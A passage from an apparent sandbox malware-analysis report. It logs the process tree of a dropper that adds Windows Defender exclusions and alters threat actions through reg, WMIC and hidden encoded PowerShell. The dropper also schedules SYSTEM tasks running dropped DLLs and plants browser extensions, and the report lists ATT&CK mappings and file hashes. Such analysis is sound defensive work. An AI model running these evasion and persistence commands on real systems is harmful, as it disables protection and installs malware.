Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\dCtMvmKVJeporrZwH\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\dCtMvmKVJeporrZwH\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LHhfOSCKsioeHeSb\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LHhfOSCKsioeHeSb\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BspasHMSlPUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1640

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BspasHMSlPUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BspasHMSlPUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbudRisgU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbudRisgU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4384

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VloXEwfyUAdsC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VloXEwfyUAdsC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpocSIDFTSWU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpocSIDFTSWU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\SRtRtaafQKnfEXVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:2192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\SRtRtaafQKnfEXVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:4624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\dCtMvmKVJeporrZwH /t REG_DWORD /d 0 /reg:32
3⤵
PID:4080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\dCtMvmKVJeporrZwH /t REG_DWORD /d 0 /reg:64
3⤵
PID:208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LHhfOSCKsioeHeSb /t REG_DWORD /d 0 /reg:32
3⤵
PID:4532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LHhfOSCKsioeHeSb /t REG_DWORD /d 0 /reg:64
3⤵
PID:228

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gwvQLOfIS" /SC once /ST 11:55:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:652

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gwvQLOfIS"
2⤵
PID:4168

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gwvQLOfIS"
2⤵
PID:4928

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "upHNLFTuuiluCLfgh" /SC once /ST 09:17:11 /RU "SYSTEM" /TR "\"C:\Windows\Temp\LHhfOSCKsioeHeSb\TXXUJQsQMicSATX\MXFlCHO.exe\" Cl /OkradidRO 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4400

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "upHNLFTuuiluCLfgh"
2⤵
PID:4416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 592
2⤵
- Program crash
PID:1952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1288

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:380

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:96

C:\Windows\Temp\LHhfOSCKsioeHeSb\TXXUJQsQMicSATX\MXFlCHO.exe
C:\Windows\Temp\LHhfOSCKsioeHeSb\TXXUJQsQMicSATX\MXFlCHO.exe Cl /OkradidRO 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4148

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
2⤵
PID:3308

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
3⤵
PID:2500

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
4⤵
PID:4824

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:5104

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
3⤵
PID:4852

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
4⤵
PID:3704

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4980

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
3⤵
PID:4800

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
4⤵
PID:4224

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:1476

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
3⤵
PID:4176

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
4⤵
PID:4572

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:1056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
4⤵
PID:4372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
6⤵
PID:2908

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bqHlMUmkmlcBkJQYdf"
2⤵
PID:2312

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:952

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:5064

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:212

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JbudRisgU\stYkoL.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "lRoQVRoUFrjOsqP" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3384

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "lRoQVRoUFrjOsqP2" /F /xml "C:\Program Files (x86)\JbudRisgU\nBtEyWy.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4480

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "lRoQVRoUFrjOsqP"
2⤵
PID:4556

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "lRoQVRoUFrjOsqP"
2⤵
PID:236

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2312

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "vgUxXpnJfcKULt" /F /xml "C:\Program Files (x86)\zpocSIDFTSWU2\WrVVPHN.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "wpskBTqwKoIAj2" /F /xml "C:\ProgramData\SRtRtaafQKnfEXVB\uBRmjsc.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3896

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "AStXSHyjxshhAOsqF2" /F /xml "C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\qrVDylp.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:692

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "icgpCYtcfpfzsLQuxBY2" /F /xml "C:\Program Files (x86)\VloXEwfyUAdsC\heGCxyl.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1168

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QGYoMddbcQsigCFfl" /SC once /ST 07:34:31 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\LHhfOSCKsioeHeSb\IEcADHVR\jNqRQVr.dll\",#1 /EdidbGPF 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:464

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "QGYoMddbcQsigCFfl"
2⤵
PID:3752

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "upHNLFTuuiluCLfgh"
2⤵
PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 2104
2⤵
- Program crash
PID:4284

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\LHhfOSCKsioeHeSb\IEcADHVR\jNqRQVr.dll",#1 /EdidbGPF 525403
1⤵
PID:3320

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\LHhfOSCKsioeHeSb\IEcADHVR\jNqRQVr.dll",#1 /EdidbGPF 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
PID:856

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "QGYoMddbcQsigCFfl"
3⤵
PID:4400

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\JbudRisgU\nBtEyWy.xml
Filesize
2KB

MD5
a71b8d29dfab14ca7a051bbd0acd49c2

SHA1
12da193f0db82b1d1a1bb84848725897c1143024

SHA256
ad00213427ee048ad08326891d9d734f6a0c9a8f2a24b6c310d69d14b5607495

SHA512
cfd689474fffcc04731d7f1cfb754cd1c942011262e28691945b708dc425b033d0077a1625f506f112f93409e31dda6c6f28e316d889c1e68072b37cad42451c

Download Submit
C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\qrVDylp.xml
Filesize
2KB

MD5
356ff1e401118077edb103d2843dcd21

SHA1
04b3555de74aa2ba4db0605a2b734be67ecd5eb0

SHA256
1b035dee4666e8ba6dd7b0b711a27401ba0f32b70c336ae3e158b696c98fca3c

SHA512
41642d4b423656b8bebcae0eda49077e42d62e5a946686f51f8d0a7619c226ca895341a529f49c653aa8f0234adcad060200eac0c0a6fd15884e65984d98104a

Download Submit
C:\Program Files (x86)\VloXEwfyUAdsC\heGCxyl.xml
Filesize
2KB

MD5
f59b141bf30b38493479da17b5d7e721

SHA1
7dc15c2f0b24040f8027504431b1f703225dc35a

SHA256
e27458d852bb999c061a122ef6fba0f47aa93458b167e47a5c19ef8a30b25e15

SHA512
56a21afa4d05a502dca0b428ee6e2ff6129193952573f83cfed84f84ea9a3ffbd5992b95a28a3b1003d2e56f70091bdd6272b539c5089a4a023becfc30b8b18c

Download Submit
C:\Program Files (x86)\zpocSIDFTSWU2\WrVVPHN.xml
Filesize
2KB

MD5
6a5daddde7e1279cd9e5a688e25afb38

SHA1
152d2eda1f99b46e3b84e08a422bc440835559ce

SHA256
c3a85ce531bcb00e954c7295add492fd7f070dddadab84d72eb536fadcd995e0

SHA512
c4d414195b9f2943bf5ee4534fa0aa113dfb33f78f468f43648df3cd0f0a63f3c2b686894688e250b9586df7662884cbe8a820a2914937b46560919dce2c2976

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
Filesize
2.0MB

MD5
f017a1830bf3adcf5ae466cc31ae2c3b

SHA1
5039fa999981713502ea842be1f42f4283745c2b

SHA256
c3782e457790b6a11a3b279f83d1a1cc2d7b0ed1970828c7534302956fe8ce5f

SHA512
08a0c1d8252b55a0cc497ea4d1a57bff48994b51f4da0a733edf8fc0bfa1ba8e649fdceeceadb90be067346f25197f53ca3b259f18d57a419b6384419192bdce

Download Submit
C:\ProgramData\SRtRtaafQKnfEXVB\uBRmjsc.xml
Filesize
2KB

MD5
08c262d3a0311500be7d3b64e5616a68

SHA1
b79221a0985bd258f9742b56d8eac6e995aa9dd4

SHA256
039d01d560586be8095ad94e852463b6c86612a9c7e861cad283643186b2b616

SHA512
3120b43b94681110ff06f63eb063311aff47b446935e83914031575650d32657c24347760c6947f3bb8644845079869cd95d51cb659e28dfac0c93b91ca20cd3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
d93fa7dbafc1acb5e5b17246aa20f8ee

SHA1
6ec46f13c78dca35624dc9117b87eb524b88aa50

SHA256
b1fa4f8b7520ac473e86634bf15be960699515bb7aac37bbafe35f02ece49643

SHA512
7345013e2b5f9da5891858ca76752103bdb75976c7bf9dd5b2a5c9902551f9ae7b2a6eed4239086b782f342bbaeabd81b5e9ab04308dd8507b94d1643cfe45e8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
27KB

MD5
5b49cff36407c633fa36d06ca3aaeddd

SHA1
0e3a62eadb497f43a228f400d99cd1cd72bb03f4

SHA256
9ccf07cfbcb32b5354852a8ce21f430009e01f82768fd012c90d3cc8cfa9ef87

SHA512
c64a60bcdd9d0647c848f946dada97de4c83da3b0a07065d7f4657b10e87a09e0f2f137612b27b1d0c66269ea777d461984a0d6704e4f283edbdc13a70800fee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6bf0e5945fb9da68e1b03bdaed5f6f8d

SHA1
eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

SHA256
dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

SHA512
977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
dbc1ccac8d583701b65e115e8d0987ea

SHA1
89f78c5690b3702e7bb20161da30d45eececd5bb

SHA256
e9f9ef375d6c98ffa515f1194a5752f58ce0755ed23f79f9d29f0ec698b2a73f

SHA512
201cee328e6d47508c7ccdf2dfeed6484d34657e43008457285d9bc049c29ef268289e298c8c18ac327234c1d2fb48529b55117b5a2c51911869b4122114b1a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSBA57.tmp\Install.exe
Filesize
6.4MB

MD5
d043b671d7e8e9bb086126433ea712b8

SHA1
1f6ebe996416899959a6ac8e0b0453710de99f6d

SHA256
eb377737ba639c12cedaea7b50a86736106a96124f4118091ab621a5f93d6292

SHA512
236db719da09cdb4c38899b4e808c642d71416946eb38588b490a759a87403ac237f9bffcd3ef2c3bc0ebccce689779caa1faf9d984b2b82c45941ad80505211

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSBEEB.tmp\Install.exe
Filesize
6.7MB

MD5
5fe665bef128d199a6ddb92f355a8df8

SHA1
002bbbace8fb07b819f659fee1c7b1611f352371

SHA256
8004f2670dd27de6a59ed85578af4907f99fd28042a2c1a0008b06f36631129b

SHA512
5250857b2cb227a54521643ed078136a05741d919b34c1dfefc3d07573fed09f6e4bdc97b8e2009a585e4d414919258991319b2a3350cbed70a16b249af25dde

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3pfymf1.05e.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\2b7acdhd.default-release\prefs.js
Filesize
7KB

MD5
fb979877335fa3d0c35470a8ab6c4508

SHA1
61ca09e5d7d36628c6a5a50817032b508edc9cd0

SHA256
a646b3e604c4eac93488b7a1f95b36451bc1573276d7ca2765b4985042ebdd27

SHA512
5b6ba04af1810c7c1e18daa81f43ee166ed2953342de60952357fc1d52971cb471727e98df198ff72e0d909e224742d1d2f5dc626bce4c93f37e5df1dfeec140

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
f7f3dcdb6c64a9549ef07109a72f17c6

SHA1
80057407cb51a89cee4f770a991d0b7aabcad747

SHA256
057150a6dfc8527f216532005895f3913194effebb070a8c00fbe46bffdbda83

SHA512
3875fe6bcb84f936857a7836588e0bbf2076898a708c483654f5d20ef55bef86258108097036c0472c52ab29617ca7c25d110531c71caaca72cff5124c52c8c8

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
